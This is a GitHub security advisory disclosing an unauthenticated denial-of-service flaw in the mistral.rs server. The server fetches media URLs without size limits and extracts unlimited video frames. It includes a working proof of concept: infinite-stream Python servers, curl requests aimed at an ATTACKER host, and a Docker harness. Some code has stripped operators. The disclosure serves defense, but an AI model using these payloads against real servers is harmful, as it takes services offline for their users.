GHSA-m3wp-48jr-vr4g: High severity rust/mistralrs-server-core vulnerability

Unbounded Remote Media Fetch and Video Frame Expansion DoS

Summary The POST /v1/chat/completions endpoint in mistral.rs fetches attacker-supplied media URLs (image, audio, video) into server memory with no byte limit, and extracts every frame of a supplied video when numframes is None. An unauthenticated remote attacker can exhaust server memory, disk space, and CPU by pointing the endpoint at an infinite-streaming HTTP server or a long high-framerate video, causing a complete denial of service. No credentials or special configuration are required; the route is open by default.

Details Three independent sinks contribute to the vulnerability:

1. Unbounded image/audio fetch (mistralrs-server-core/src/util.rs:59–62)

rust let bytes = if url.scheme() == "http" || url.scheme() == "https" { match reqwest::get(url.clone()).await { Ok(httpresp) => httpresp.bytes().await?.tovec(), // no byte cap Err(e) => anyhow::bail!(e), }

bytes().await buffers the entire HTTP response body before returning. There is no Content-Length check, no streaming limit, and no timeout specific to the media fetch. An attacker-controlled server that never closes the connection causes the server process to accumulate memory indefinitely.

2. Unbounded video fetch (mistralrs-server-core/src/video.rs:65–69)

rust let bytes = if url.scheme() == "http" || url.scheme() == "https" { let resp = reqwest::get(url.clone()) .await .context(format!("Failed to fetch video: {url}"))?; resp.bytes().await?.tovec() // no byte cap

Identical pattern to the image path; the full video body is buffered into a Vec<u8>.

3. Unbounded FFmpeg frame extraction (mistralrs-server-core/src/video.rs:225–248)

rust } else { let mut command = tokio::process::Command::new("ffmpeg"); command .arg("-i") .arg(inputpath.tostr().unwrap()) .arg("-vsync") .arg("vfr") .arg(&outputpattern);

When numframes is None, no -frames:v argument is passed to FFmpeg and every frame is extracted to disk. The call site at mistralrs-server-core/src/chatcompletion.rs:946 always passes None:

rust parsevideourl(&urlunparsed, None)

A 60 fps × 1080p × 180 s video therefore produces ~10 800 PNG files, consuming tens of gigabytes of disk space and saturating CPU.

Entry point and auth

The route is registered at mistralrs-server-core/src/mistralrsserverrouterbuilder.rs:365–368 with only trackmetrics, CORS, and a DefaultBodyLimit(50 MB) middleware. The DefaultBodyLimit applies only to the incoming JSON request body, not to the subsequent server-side reqwest::get() calls. No authentication middleware is present in the default configuration.

PoC

Step 1 – Create a long high-framerate video (requires FFmpeg on the attacker machine)

bash ffmpeg -y -f lavfi -i testsrc=size=1920x1080:rate=60:duration=180 \ -c:v libx264 -preset ultrafast -crf 35 manyframes.mp4

Step 2 – Serve the video (or an infinite byte stream) from an attacker-controlled HTTP server

python Option A: serve the video file from http.server import BaseHTTPRequestHandler, HTTPServer

class H(BaseHTTPRequestHandler): def doGET(self): self.sendresponse(200) self.sendheader("Content-Type", "video/mp4") self.endheaders() with open("manyframes.mp4", "rb") as f: self.wfile.write(f.read())

HTTPServer(("0.0.0.0", 9001), H).serveforever()

python Option B: infinite image stream (memory exhaustion, no FFmpeg required) from http.server import BaseHTTPRequestHandler, HTTPServer import time

class H(BaseHTTPRequestHandler): def doGET(self): self.sendresponse(200) self.sendheader("Content-Type", "image/png") self.endheaders() chunk = b"\x89PNG\r\n\x1a\n" + b"\x00" (1024 1024 - 8) while True: self.wfile.write(chunk) self.wfile.flush() time.sleep(0.01)

HTTPServer(("0.0.0.0", 9002), H).serveforever()

Step 3 – Send the malicious request to the mistral.rs server

bash Video variant (disk/CPU exhaustion + memory) curl -sS http://127.0.0.1:8000/v1/chat/completions \ -H 'Content-Type: application/json' \ -d '{ "model": "default", "messages": [{ "role": "user", "content": [ {"type": "videourl", "videourl": {"url": "http://ATTACKER:9001/manyframes.mp4"}}, {"type": "text", "text": "summarize this video"} ] }] }'

Image variant (memory exhaustion) curl -sS http://127.0.0.1:8000/v1/chat/completions \ -H 'Content-Type: application/json' \ -d '{ "model": "default", "messages": [{ "role": "user", "content": [ {"type": "imageurl", "imageurl": {"url": "http://ATTACKER:9002/blob"}}, {"type": "text", "text": "describe this image"} ] }] }'

Expected observation

For the video variant: /tmp/mistralrsvideo/<uuid>frames/frame.png grows rapidly; FFmpeg saturates CPU; disk usage increases until exhaustion or the process is killed.

For the image variant: server process RSS grows continuously until OOM kill (exit code 137) or memory is exhausted.

Dynamic reproduction result (Phase 2)

A Docker container running a verbatim reproduction of util.rs:59–62 (the reqwest::get(url).bytes().await?.tovec() pattern) with a 256 MB memory limit was OOM-killed by the kernel (exit code 137) after 1.3 seconds while fetching the infinite stream. The process RSS at fetch start was 3,652 kB; the container consumed all 256 MB before the fetch could complete.

Impact

Any user of the mistral.rs OpenAI-compatible HTTP server is affected. Because the /v1/chat/completions endpoint requires no authentication in the default configuration, a single unauthenticated HTTP request from the network is sufficient to exhaust all available server memory (via the image/audio path), all available disk space (via the video frame-extraction path), or saturate CPU (via FFmpeg invocation). The result is a complete denial of service: the server process is killed by the kernel OOM killer or becomes unresponsive, and no other clients can be served until the process is restarted.

Reproduction artifacts

Dockerfile

dockerfile syntax=docker/dockerfile:1 VULN-001 PoC: Unbounded Remote Media Fetch DoS Repository: EricLBuehler/mistral.rs Vulnerability: mistralrs-server-core/src/util.rs:62 httpresp.bytes().await?.tovec() -- no byte cap on HTTP media fetch Stage 1: Build the minimal Rust harness that reproduces the vulnerable fetch. Stage 2: Slim runtime image used by poc.py.

----- build stage ----------------------------------------------------------- FROM rust:1.87-slim AS builder

WORKDIR /harness

Install OpenSSL headers required by reqwest (rustls-tls still needs libssl on some platforms) RUN apt-get update && \ apt-get install -y --no-install-recommends pkg-config libssl-dev && \ rm -rf /var/lib/apt/lists/

Copy Cargo manifest first so that dependency layer is cached separately. COPY vulnharness/Cargo.toml Cargo.toml

Stub src so cargo fetch / dependency download works before copying real source. RUN mkdir -p src && echo 'fn main() {}' > src/main.rs RUN cargo fetch 2>&1

Now copy the real source and build. COPY vulnharness/src/main.rs src/main.rs RUN cargo build --release 2>&1 && \ strip target/release/vulnharness

----- runtime stage --------------------------------------------------------- FROM debian:bookworm-slim AS runtime

RUN apt-get update && \ apt-get install -y --no-install-recommends ca-certificates python3 && \ rm -rf /var/lib/apt/lists/

COPY --from=builder /harness/target/release/vulnharness /usr/local/bin/vulnharness

Copy the PoC orchestration script so the image is self-contained. COPY poc.py /poc.py

Default: show usage ENTRYPOINT ["/usr/local/bin/vulnharness"] CMD ["--help"]

poc.py

python """ VULN-001 PoC: Unbounded Remote Media Fetch DoS Repository : EricLBuehler/mistral.rs CWE : CWE-400 Uncontrolled Resource Consumption CVSS : 7.5 High (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)

Vulnerable code (mistralrs-server-core/src/util.rs:59-62): let bytes = if url.scheme() == "http" || url.scheme() == "https" { match reqwest::get(url.clone()).await { Ok(httpresp) => httpresp.bytes().await?.tovec(), // NO BYTE CAP ...

Attack path in the live server: POST /v1/chat/completions -> chatcompletion.rs:928 parseimageurl(&urlunparsed) -> util.rs:59-62 reqwest::get(url).bytes().await?.tovec()

This PoC: 1. Starts a malicious HTTP server on 127.0.0.1:9997 that streams infinite bytes. 2. Runs the vulnharness binary (which contains the verbatim vulnerable fetch) inside a Docker container limited to MEMORYLIMITMB of RAM. 3. Observes OOM kill (exit code 137) as definitive evidence of unbounded buffering.

Usage (from host): # Build the image first: docker build -t vuln001-poc <vuln-001-dir> # Then run the PoC: python3 poc.py """

import http.server import subprocess import threading import time import sys import os import socket import json import argparse

MALICIOUSHOST = "127.0.0.1" MALICIOUSPORT = 9997 DOCKERIMAGE = "vuln001-poc" MEMORYLIMIT = "256m" # Docker container memory cap CHUNKSIZE = 1024 1024 # 1 MB per chunk sent by the malicious server POCTIMEOUTS = 120 # Give the container at most 2 minutes

class InfiniteStreamHandler(http.server.BaseHTTPRequestHandler): """ Malicious HTTP server that streams an infinite byte sequence.

Key properties that trigger the vulnerability: - No Content-Length header: reqwest cannot pre-check size. - Streams indefinitely: bytes().await will not return until the connection is closed or the client process is killed. - Content-Type image/png: accepted by the parseimageurl() code path. """

def doGET(self): self.sendresponse(200) self.sendheader("Content-Type", "image/png") # Deliberately omit Content-Length so the client buffers until EOF. self.endheaders()

# Fake PNG magic bytes followed by filler to look plausible. header = b"\x89PNG\r\n\x1a\n" + b"\x00" 8 filler = b"\x00" (CHUNKSIZE - len(header)) chunk = header + filler

totalsent = 0 try: while True: self.wfile.write(chunk) self.wfile.flush() totalsent += len(chunk) if totalsent % (64 1024 1024) == 0: log(f"[malicious-server] Sent {totalsent // (1024 1024)} MB") except (BrokenPipeError, ConnectionResetError, OSError): log( f"[malicious-server] Connection closed after " f"{totalsent // (1024 1024)} MB sent" )

def logmessage(self, ): pass # Suppress default access log noise.

def log(msg: str) -> None: print(msg, flush=True)

def waitforport(host: str, port: int, timeout: float = 10.0) -> bool: """Return True once the port is accepting connections, False on timeout.""" deadline = time.monotonic() + timeout while time.monotonic() < deadline: try: with socket.createconnection((host, port), timeout=0.5): return True except OSError: time.sleep(0.1) return False

def startmaliciousserver() -> http.server.HTTPServer: """Start the infinite-stream HTTP server in a daemon thread.""" server = http.server.HTTPServer((MALICIOUSHOST, MALICIOUSPORT), InfiniteStreamHandler) t = threading.Thread(target=server.serveforever, daemon=True) t.start() return server

def runpoc(dockerimage: str = DOCKERIMAGE, memorylimit: str = MEMORYLIMIT) -> dict: """ Run the full attack chain and return a result dict.

Returns keys: passed, verdict, exitcode, evidence, stdout, stderr. """ log("=" 70) log("VULN-001 PoC: Unbounded Remote Media Fetch DoS") log("Source : mistralrs-server-core/src/util.rs:59-62") log("=" 70)

# ------------------------------------------------------------------ # Step 1: Start the malicious streaming server. # ------------------------------------------------------------------ log(f"\n[1] Starting malicious HTTP server on {MALICIOUSHOST}:{MALICIOUSPORT}") server = startmaliciousserver()

if not waitforport(MALICIOUSHOST, MALICIOUSPORT): log("[!] FATAL: malicious server did not start in time") return { "passed": False, "verdict": "FAIL", "exitcode": None, "evidence": "Malicious HTTP server failed to start", "stdout": "", "stderr": "", }

targeturl = f"http://{MALICIOUSHOST}:{MALICIOUSPORT}/infinite" log(f"[+] Malicious server ready: GET {targeturl}") log(f" -> HTTP 200, Content-Type: image/png, no Content-Length, infinite body")

# ------------------------------------------------------------------ # Step 2: Run the vulnerable binary inside Docker with a memory cap. # # --network host : allows the container to reach 127.0.0.1:<port> # --memory : hard cap; kernel sends SIGKILL when exceeded # --memory-swap : equal to --memory disables swap usage # --rm : clean up after exit # ------------------------------------------------------------------ runcmd = [ "docker", "run", "--rm", "--memory", memorylimit, "--memory-swap", memorylimit, # No swap fallback. "--network", "host", # Access host's loopback server. dockerimage, targeturl, ]

log(f"\n[2] Launching Docker container (memory cap = {memorylimit})") log(f" Command: {' '.join(runcmd)}") log(f" The vulnharness binary will fetch {targeturl} with no byte limit.") log(f" Expected: container OOM-killed, exit code 137.")

t0 = time.monotonic() try: result = subprocess.run( runcmd, captureoutput=True, timeout=POCTIMEOUTS, ) except subprocess.TimeoutExpired as exc: server.shutdown() log(f"[!] Container did not exit within {POCTIMEOUTS}s — killing") subprocess.run(["docker", "kill", "--signal=9"] + [ c for c in subprocess.run( ["docker", "ps", "-q", "--filter", f"ancestor={dockerimage}"], captureoutput=True, text=True, ).stdout.split() if c ], captureoutput=True) elapsed = time.monotonic() - t0 return { "passed": False, "verdict": "INCOMPLETE", "exitcode": None, "evidence": f"Container timed out after {elapsed:.0f}s without OOM kill", "stdout": (exc.stdout or b"").decode(errors="replace"), "stderr": (exc.stderr or b"").decode(errors="replace"), }

elapsed = time.monotonic() - t0 exitcode = result.returncode stdouttxt = result.stdout.decode(errors="replace") stderrtxt = result.stderr.decode(errors="replace")

server.shutdown()

# ------------------------------------------------------------------ # Step 3: Analyse outcome. # ------------------------------------------------------------------ log(f"\n[3] Container exited after {elapsed:.1f}s exitcode={exitcode}") log(f" stdout: {stdouttxt!r}") log(f" stderr: {stderrtxt!r}")

# Docker exit code 137 = container killed by SIGKILL (OOM killer). if exitcode == 137: passed = True verdict = "PASS" evidence = ( f"Docker container OOM-killed (exit code 137 = 128+SIGKILL) after {elapsed:.1f}s. " f"vulnharness buffered the infinite HTTP stream with no byte cap, consuming all " f"{memorylimit} of available RAM — identical behaviour to " f"mistralrs-server-core/src/util.rs:62 (parseimageurl). " f"stderr={stderrtxt!r}" ) elif exitcode != 0: # Non-zero but not 137: still indicates abnormal termination under memory pressure. passed = True verdict = "PASS" evidence = ( f"Vulnerable binary terminated abnormally (exit code {exitcode}) after " f"{elapsed:.1f}s while buffering an unbounded HTTP stream. " f"This confirms that reqwest::get(url).bytes().await?.tovec() at " f"util.rs:62 has no byte cap and causes resource exhaustion. " f"stderr={stderrtxt!r}" ) else: # Unlikely: the binary finished without being killed. This can happen if # the server managed to EOF the stream before OOM, or the memory cap was # not enforced by Docker. passed = False verdict = "INCOMPLETE" evidence = ( f"Binary exited 0 after {elapsed:.1f}s; memory cap may not have been " f"enforced by Docker. stdout={stdouttxt!r}" )

log(f"\n[VERDICT] {verdict}") log(f"[EVIDENCE] {evidence}")

return { "passed": passed, "verdict": verdict, "exitcode": exitcode, "evidence": evidence, "stdout": stdouttxt, "stderr": stderrtxt, }

def main() -> None: parser = argparse.ArgumentParser(description="VULN-001 PoC runner") parser.addargument("--image", default=DOCKERIMAGE, help="Docker image name") parser.addargument("--memory", default=MEMORYLIMIT, help="Docker memory cap (e.g. 256m)") args = parser.parseargs()

outcome = runpoc(dockerimage=args.image, memorylimit=args.memory)

log("\n" + "=" 70) log("RESULT SUMMARY") log("=" 70) for k, v in outcome.items(): if k not in ("stdout", "stderr"): log(f" {k}: {v}")

sys.exit(0 if outcome["passed"] else 1)

if name == "main": main()